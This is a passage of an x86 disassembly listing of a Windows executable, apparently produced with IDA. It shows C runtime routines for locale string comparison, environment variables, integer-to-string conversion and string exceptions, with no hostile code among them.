		jbe	loc_4266BE


loc_426746:				; CODE XREF: sub_4265D3+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42672E
		jmp	loc_4266CB
; ---------------------------------------------------------------------------


loc_426751:				; CODE XREF: sub_4265D3+E0j
					; sub_4265D3+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_4280E8	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42683C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4267A0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4267A0:				; CODE XREF: sub_4265D3+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42683C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_4280E8
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_42683C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42683C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C190
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42680B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42680B:				; CODE XREF: sub_4265D3+224j
		cmp	edi, ebx
		jz	short loc_42683C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_4280E8	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_42683C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_428008	; CompareStringW
		jmp	short loc_42683E
; ---------------------------------------------------------------------------


loc_42683C:				; CODE XREF: sub_4265D3+63j
					; sub_4265D3+C6j ...
		xor	eax, eax


loc_42683E:				; CODE XREF: sub_4265D3+BFj
					; sub_4265D3+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4265D3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426850	proc near		; CODE XREF: sub_426565+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_4268B4
		push	3Dh
		push	[ebp+arg_0]
		call	sub_426A96
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_4268B4
		cmp	[ebp+arg_0], esi
		jz	short loc_4268B4
		mov	eax, dword_4DE5EC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DE5F0
		jnz	short loc_42689A
		push	eax
		call	sub_426A2F
		pop	ecx
		mov	dword_4DE5EC, eax


loc_42689A:				; CODE XREF: sub_426850+3Cj
		cmp	eax, edi
		jnz	short loc_4268F2
		cmp	[ebp+arg_4], edi
		jz	short loc_4268BC
		cmp	dword_4DE5F4, edi
		jz	short loc_4268BC
		call	sub_426565
		test	eax, eax
		jz	short loc_4268F2


loc_4268B4:				; CODE XREF: sub_426850+Dj
					; sub_426850+22j ...
		or	eax, 0FFFFFFFFh


loc_4268B7:				; CODE XREF: sub_426850+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4268BC:				; CODE XREF: sub_426850+51j
					; sub_426850+59j
		cmp	ebx, edi
		jnz	loc_4269D0
		push	4
		call	sub_41BB45
		cmp	eax, edi
		pop	ecx
		mov	dword_4DE5EC, eax
		jz	short loc_4268B4
		mov	[eax], edi
		cmp	dword_4DE5F4, edi
		jnz	short loc_4268F2
		push	4
		call	sub_41BB45
		cmp	eax, edi
		pop	ecx
		mov	dword_4DE5F4, eax
		jz	short loc_4268B4
		mov	[eax], edi


loc_4268F2:				; CODE XREF: sub_426850+4Cj
					; sub_426850+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DE5EC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_4269D7
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_426952
		cmp	dword ptr [edi], 0
		jz	short loc_426952
		test	ebx, ebx
		jz	short loc_42694A
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B721
		pop	ecx


loc_426924:				; CODE XREF: sub_426850+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_426934
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_426924
; ---------------------------------------------------------------------------


loc_426934:				; CODE XREF: sub_426850+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B872
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426984
		jmp	short loc_42697F
; ---------------------------------------------------------------------------


loc_42694A:				; CODE XREF: sub_426850+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_426984
; ---------------------------------------------------------------------------


loc_426952:				; CODE XREF: sub_426850+BDj
					; sub_426850+C2j
		test	ebx, ebx
		jnz	short loc_4269D0
		test	esi, esi
		jge	short loc_42695C
		neg	esi


loc_42695C:				; CODE XREF: sub_426850+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B872
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4268B4
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_42697F:				; CODE XREF: sub_426850+F8j
		mov	dword_4DE5EC, eax


loc_426984:				; CODE XREF: sub_426850+F6j
					; sub_426850+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_4269D0
		push	[ebp+arg_0]
		call	sub_41B650
		inc	eax
		inc	eax
		push	eax
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4269D0
		push	[ebp+arg_0]
		push	esi
		call	sub_41C520
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_428004	; SetEnvironmentVariableA
		push	esi
		call	sub_41B721
		pop	ecx


loc_4269D0:				; CODE XREF: sub_426850+6Ej
					; sub_426850+104j ...
		xor	eax, eax
		jmp	loc_4268B7
sub_426850	endp


; =============== S U B	R O U T	I N E =======================================



sub_4269D7	proc near		; CODE XREF: sub_426850+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DE5EC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_426A12
		mov	edi, [esp+8+arg_4]


loc_4269E9:				; CODE XREF: sub_4269D7+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_426526
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426A08
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_426A22
		test	al, al
		jz	short loc_426A22


loc_426A08:				; CODE XREF: sub_4269D7+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_4269E9


loc_426A12:				; CODE XREF: sub_4269D7+Cj
		mov	eax, esi
		sub	eax, dword_4DE5EC
		sar	eax, 2
		neg	eax


loc_426A1F:				; CODE XREF: sub_4269D7+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426A22:				; CODE XREF: sub_4269D7+2Bj
					; sub_4269D7+2Fj
		mov	eax, esi
		sub	eax, dword_4DE5EC
		sar	eax, 2
		jmp	short loc_426A1F
sub_4269D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_426A2F	proc near		; CODE XREF: sub_426850+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426A3E
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426A3E:				; CODE XREF: sub_426A2F+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_426A50


loc_426A46:				; CODE XREF: sub_426A2F+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_426A46


loc_426A50:				; CODE XREF: sub_426A2F+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41BB45
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_426A71
		push	9
		call	sub_41E0C9
		pop	ecx


loc_426A71:				; CODE XREF: sub_426A2F+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_426A75:				; CODE XREF: sub_426A2F+5Bj
		test	eax, eax
		jz	short loc_426A8C
		push	eax
		add	ebx, 4
		call	sub_426B09
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_426A75
; ---------------------------------------------------------------------------


loc_426A8C:				; CODE XREF: sub_426A2F+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_426A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426A96	proc near		; CODE XREF: sub_426850+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DFA3C, 0
		jnz	short loc_426AB1
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C620
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426AB1:				; CODE XREF: sub_426A96+Aj
		mov	ecx, [ebp+arg_0]


loc_426AB4:				; CODE XREF: sub_426A96+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426AF7
		movzx	edx, al
		test	byte_4DFB41[edx], 4
		jz	short loc_426AE3
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426AEE
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_426AF2
		jmp	short loc_426AEB
; ---------------------------------------------------------------------------


loc_426AE3:				; CODE XREF: sub_426A96+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426AF7


loc_426AEB:				; CODE XREF: sub_426A96+4Bj
		inc	ecx
		jmp	short loc_426AB4
; ---------------------------------------------------------------------------


loc_426AEE:				; CODE XREF: sub_426A96+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426AF2:				; CODE XREF: sub_426A96+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426AF7:				; CODE XREF: sub_426A96+25j
					; sub_426A96+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_426A96	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B09	proc near		; CODE XREF: sub_418584+21p
					; sub_426A2F+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_426B30
		push	esi
		call	sub_41B650
		inc	eax
		push	eax
		call	sub_41BB45
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_426B30
		push	esi
		push	eax
		call	sub_41C520
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_426B30:				; CODE XREF: sub_426B09+7j
					; sub_426B09+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426B09	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426B40	proc near		; CODE XREF: sub_426C23+19p
					; sub_426D4A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B650
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D8AB
		mov	eax, esi
		pop	esi
		retn	8
sub_426B40	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B6A	proc near		; CODE XREF: .XPack0:00426B95p
					; sub_426C18+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_428CF4
		call	sub_40D873
		mov	ecx, esi
		pop	esi
		jmp	sub_426FE9
sub_426B6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_426B85	proc near		; DATA XREF: .XPack0:00428CF8o
					; .XPack0:00428D08o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_426B91
		mov	eax, offset dword_428690

locret_426B91:				; CODE XREF: sub_426B85+5j
		retn
sub_426B85	endp

; ---------------------------------------------------------------------------


loc_426B92:				; DATA XREF: .XPack0:off_428CF4o
		push	esi
		mov	esi, ecx
		call	sub_426B6A
		test	byte ptr [esp+8], 1
		jz	short loc_426BA8
		push	esi
		call	sub_41D2EF
		pop	ecx


loc_426BA8:				; CODE XREF: .XPack0:00426B9Fj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_426BAE	proc near		; CODE XREF: sub_426C23+29p
		mov	eax, offset loc_427566
		call	sub_41D2D0
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_428D10
		call	sub_426F62
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_428CF4
		call	sub_426C60
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_428D04
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426BAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_426BFC	proc near		; DATA XREF: .XPack0:off_428D04o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426C18
		test	[esp+4+arg_0], 1
		jz	short loc_426C12
		push	esi
		call	sub_41D2EF
		pop	ecx


loc_426C12:				; CODE XREF: sub_426BFC+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426BFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_426C18	proc near		; CODE XREF: sub_426BFC+3p
					; DATA XREF: .XPack0:00429068o
		mov	dword ptr [ecx], offset	off_428D04
		jmp	sub_426B6A
sub_426C18	endp


; =============== S U B	R O U T	I N E =======================================



sub_426C23	proc near		; CODE XREF: sub_40D720+13p
					; sub_40D8E0+Ep
		mov	eax, offset loc_427578
		call	sub_41D2D0
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426B40
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_426BAE
		push	offset dword_429064
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_42700C
		int	3		; Trap to Debugger
sub_426C23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426C60	proc near		; CODE XREF: sub_426BAE+32p
					; sub_426C80+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D720
		mov	eax, esi
		pop	esi
		retn	4
sub_426C60	endp


; =============== S U B	R O U T	I N E =======================================



sub_426C80	proc near		; CODE XREF: sub_426D4A+29p
		mov	eax, offset loc_42758A
		call	sub_41D2D0
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_428D10
		call	sub_426F62
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_428CF4
		call	sub_426C60
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_426CC8	proc near		; CODE XREF: sub_426D32+7p
					; sub_426D8E+7p ...
		mov	eax, offset loc_42759C
		call	sub_41D2D0
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_426F9F
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_428CF4
		call	sub_426C60
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426CC8	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D0B	proc near		; DATA XREF: .XPack0:off_428D30o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426D27
		test	[esp+4+arg_0], 1
		jz	short loc_426D21
		push	esi
		call	sub_41D2EF
		pop	ecx


loc_426D21:				; CODE XREF: sub_426D0B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426D0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D27	proc near		; CODE XREF: sub_426D0B+3p
					; DATA XREF: .XPack0:00429110o
		mov	dword ptr [ecx], offset	off_428D30
		jmp	sub_426B6A
sub_426D27	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D32	proc near		; CODE XREF: sub_426DA6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426CC8
		mov	dword ptr [esi], offset	off_428D04
		mov	eax, esi
		pop	esi
		retn	4
sub_426D32	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D4A	proc near		; CODE XREF: sub_40D66E+12p
					; sub_40D6C8+12p ...
		mov	eax, offset loc_4275AE
		call	sub_41D2D0
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426B40
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_426C80
		push	offset dword_42910C
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_428D30
		call	sub_42700C
		int	3		; Trap to Debugger
sub_426D4A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426D8E	proc near		; CODE XREF: sub_426DA6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426CC8
		mov	dword ptr [esi], offset	off_428D30
		mov	eax, esi
		pop	esi
		retn	4
sub_426D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426DA6	proc near		; DATA XREF: .XPack0:00428CFCo

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426CC8
		push	offset dword_42914C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_42700C
		int	3		; Trap to Debugger


loc_426DC4:				; DATA XREF: .XPack0:00428D38o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426D8E
		push	offset dword_42910C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_42700C
		int	3		; Trap to Debugger


loc_426DE2:				; DATA XREF: .XPack0:00428D0Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426D32
		push	offset dword_429064
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_42700C
		int	3		; Trap to Debugger
sub_426DA6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426E00	proc near		; CODE XREF: sub_40D000+5Ep
					; sub_40F6A7+148p ...
		jmp	dword_428228
sub_426E00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426E06	proc near		; CODE XREF: sub_41CF3C+23p
					; sub_41D1E0+13p
		jmp	dword_4281A8
sub_426E06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426E0C	proc near		; CODE XREF: .XPack0:0040AF31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426E21
		cmp	[ebp+arg_0], 0
		jge	short loc_426E21
		push	1
		push	0Ah
		jmp	short loc_426E26
; ---------------------------------------------------------------------------


loc_426E21:				; CODE XREF: sub_426E0C+7j
					; sub_426E0C+Dj
		push	0
		push	[ebp+arg_8]


loc_426E26:				; CODE XREF: sub_426E0C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426E39
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_426E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426E39	proc near		; CODE XREF: sub_426E0C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_426E53
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_426E56
; ---------------------------------------------------------------------------


loc_426E53:				; CODE XREF: sub_426E39+Dj
		mov	esi, [ebp+arg_0]


loc_426E56:				; CODE XREF: sub_426E39+18j
		mov	edi, ecx


loc_426E58:				; CODE XREF: sub_426E39+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_426E74
		add	bl, 57h
		jmp	short loc_426E77
; ---------------------------------------------------------------------------


loc_426E74:				; CODE XREF: sub_426E39+34j
		add	bl, 30h


loc_426E77:				; CODE XREF: sub_426E39+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_426E58
		and	byte ptr [ecx],	0
		dec	ecx


loc_426E82:				; CODE XREF: sub_426E39+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_426E82
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426E39	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E95	proc near		; CODE XREF: sub_417805+E2p
					; sub_417805+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DE684, 0
		push	ebx
		jnz	short loc_426EDB
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426EA7:				; CODE XREF: sub_426E95+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426EB9
		cmp	bx, 41h
		jb	short loc_426EB9
		add	ebx, 20h


loc_426EB9:				; CODE XREF: sub_426E95+19j
					; sub_426E95+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426ECB
		cmp	ax, 41h
		jb	short loc_426ECB
		add	eax, 20h


loc_426ECB:				; CODE XREF: sub_426E95+2Bj
					; sub_426E95+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_426F0B
		cmp	bx, ax
		jz	short loc_426EA7
		jmp	short loc_426F0B
; ---------------------------------------------------------------------------


loc_426EDB:				; CODE XREF: sub_426E95+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426EE5:				; CODE XREF: sub_426E95+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_427046
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_427046
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426F09
		cmp	bx, ax
		jz	short loc_426EE5


loc_426F09:				; CODE XREF: sub_426E95+6Dj
		pop	edi
		pop	esi


loc_426F0B:				; CODE XREF: sub_426E95+3Dj
					; sub_426E95+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426E95	endp


; =============== S U B	R O U T	I N E =======================================



sub_426F15	proc near		; CODE XREF: .XPack0:00426F2Dp
		mov	dword ptr [ecx], offset	off_428D50
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_426F29
		push	ecx
		call	sub_41B721
		pop	ecx

locret_426F29:				; CODE XREF: sub_426F15+Bj
		retn
sub_426F15	endp

; ---------------------------------------------------------------------------


loc_426F2A:				; DATA XREF: .XPack0:off_428D50o
		push	esi
		mov	esi, ecx
		call	sub_426F15
		test	byte ptr [esp+8], 1
		jz	short loc_426F40
		push	esi
		call	sub_41D2EF
		pop	ecx


loc_426F40:				; CODE XREF: .XPack0:00426F37j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426F46:				; DATA XREF: .XPack0:off_428D58o
		push	esi
		mov	esi, ecx
		call	sub_426FE9
		test	byte ptr [esp+8], 1
		jz	short loc_426F5C
		push	esi
		call	sub_41D2EF
		pop	ecx


loc_426F5C:				; CODE XREF: .XPack0:00426F53j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_426F62	proc near		; CODE XREF: sub_426BAE+1Dp
					; sub_426C80+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_428D58
		push	dword ptr [edi]
		call	sub_41B650
		inc	eax
		push	eax
		call	sub_41D635
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426F91
		push	dword ptr [edi]
		push	eax
		call	sub_41C520
		pop	ecx
		pop	ecx


loc_426F91:				; CODE XREF: sub_426F62+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426F62	endp


; =============== S U B	R O U T	I N E =======================================



sub_426F9F	proc near		; CODE XREF: sub_426CC8+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_428D58
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_426FDC
		push	dword ptr [edi+4]
		call	sub_41B650
		inc	eax
		push	eax
		call	sub_41D635
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_426FE2
		push	dword ptr [edi+4]
		push	eax
		call	sub_41C520
		pop	ecx
		pop	ecx
		jmp	short loc_426FE2
; ---------------------------------------------------------------------------


loc_426FDC:				; CODE XREF: sub_426F9F+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_426FE2:				; CODE XREF: sub_426F9F+2Ej
					; sub_426F9F+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_426F9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_426FE9	proc near		; CODE XREF: sub_426B6A+16j
					; .XPack0:00426F49p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_428D58
		jz	short locret_426FFE
		push	dword ptr [ecx+4]
		call	sub_41D2EF
		pop	ecx

locret_426FFE:				; CODE XREF: sub_426FE9+Aj
		retn
sub_426FE9	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_42700B
